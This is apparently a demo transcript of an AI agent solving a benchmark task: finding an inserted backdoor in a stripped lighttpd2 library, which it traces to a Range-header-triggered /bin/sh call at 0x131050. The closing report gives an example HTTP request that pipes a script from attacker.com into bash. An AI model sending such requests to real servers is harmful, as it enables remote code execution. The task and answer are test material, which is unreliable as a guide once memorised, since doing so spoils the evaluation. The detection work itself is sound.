View More Demos
liblighttpd2-shared-2.0.0.so

Backdoor Detection Task

You are a security researcher analyzing a compiled binary for potential backdoors or malicious code.

The uploaded file a compiled distribution of lighttpd2 (a lightweight HTTP server). The binaries have been stripped of symbols. Your task is to determine whether these binaries contain any backdoor or malicious code that was intentionally inserted, and if so, identify the address of the function containing it.

Output

After your analysis, write your conclusion to backdoor-detected.txt with exactly two lines:

  • Line 1: Write YES if you found a backdoor, or NO if the binary appears clean.
  • Line 2: If you answered YES, write the start address of the function containing the backdoor, in hexadecimal format (e.g. 0x4a1c30). If you answered NO, leave this line empty or omit it.

Example output for a detected backdoor:

YES
0x4a1c30

Example output for a clean binary:

NO

Important: The address should be the start of the function (as identified by your disassembler/decompiler) that contains the malicious code, written as a hex value with 0x prefix.

Dr.Binary
skill
todowrite
drbinary_dump_data
todowrite
find_suspicious_functions
todowrite
code_execution
code_execution
code_execution
code_execution
drbinary_run_sandbox
drbinary_run_sandbox

There are 14 suspicious functions. Let me focus on the most critical ones — particularly spawn_shell_command_via_worker (0x131050) and the domain_subdomain_variant_builder (0x13ff30) which could indicate a DGA-based backdoor, as well as investigating the other high-value candidates.

drbinary_run_sandbox
drbinary_run_sandbox
drbinary_run_sandbox

Now let me look at the most suspicious function — spawn_shell_command_via_worker at 0x131050. This function constructs /bin/sh -c <string> and spawns it. Let me investigate what calls it and what it's doing in context.

drbinary_run_sandbox
drbinary_run_sandbox

This is highly suspicious! The function li_request_validate_header calls FUN_00131050 (the spawn_shell_command_via_worker) when it finds a Range HTTP header. This is a clear backdoor: when a Range header is present in an HTTP request, it spawns /bin/sh -c <string> where the string comes from the Range header value. Let me verify the exact mechanics.

drbinary_run_sandbox

Let me decode the byte values:

drbinary_run_sandbox

Now let me also check the disassembly of 0x131050 to confirm the function start address:

drbinary_run_sandbox
drbinary_run_sandbox

The analysis is conclusive. Let me write the output file.

todowrite
drbinary_run_sandbox
todowrite

Backdoor confirmed. Here is the full finding:

Backdoor Analysis Report — liblighttpd2-shared-2.0.0.so

Verdict: YES — Backdoor Detected

Backdoor function address: 0x131050

Mechanism

The backdoor is a two-function chain embedded in the HTTP request-handling path:

1. li_request_validate_header (caller, 0x1309d0)

This is the legitimate HTTP request validation function. At the end of its logic, it checks for a Range HTTP header:

lVar9 = li_http_header_find_first(..., "Range", 5);
if (lVar9 != 0) {
    FUN_00131050(lVar9);   // <-- BACKDOOR CALL
    return 1;
}

When any Range header is present in an incoming HTTP request, it passes the header value directly to the backdoor function.

2. FUN_00131050 (backdoor, 0x131050)

This function extracts the Range header value as a string, then constructs an argv array and spawns a shell:

argv[0] = "/bin/sh"   (bytes: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68)
argv[1] = "-c"        (bytes: 0x2d 0x63)
argv[2] = <Range header value>

It calls li_worker_spawn(&argv, 0) — executing Range header contents as a shell command on the server. This is a Remote Code Execution backdoor triggered by any HTTP request containing a Range header.

Exploitation

GET / HTTP/1.1
Host: target
Range: id; curl attacker.com/shell.sh | bash

The server would silently execute the command while still responding normally to the HTTP client.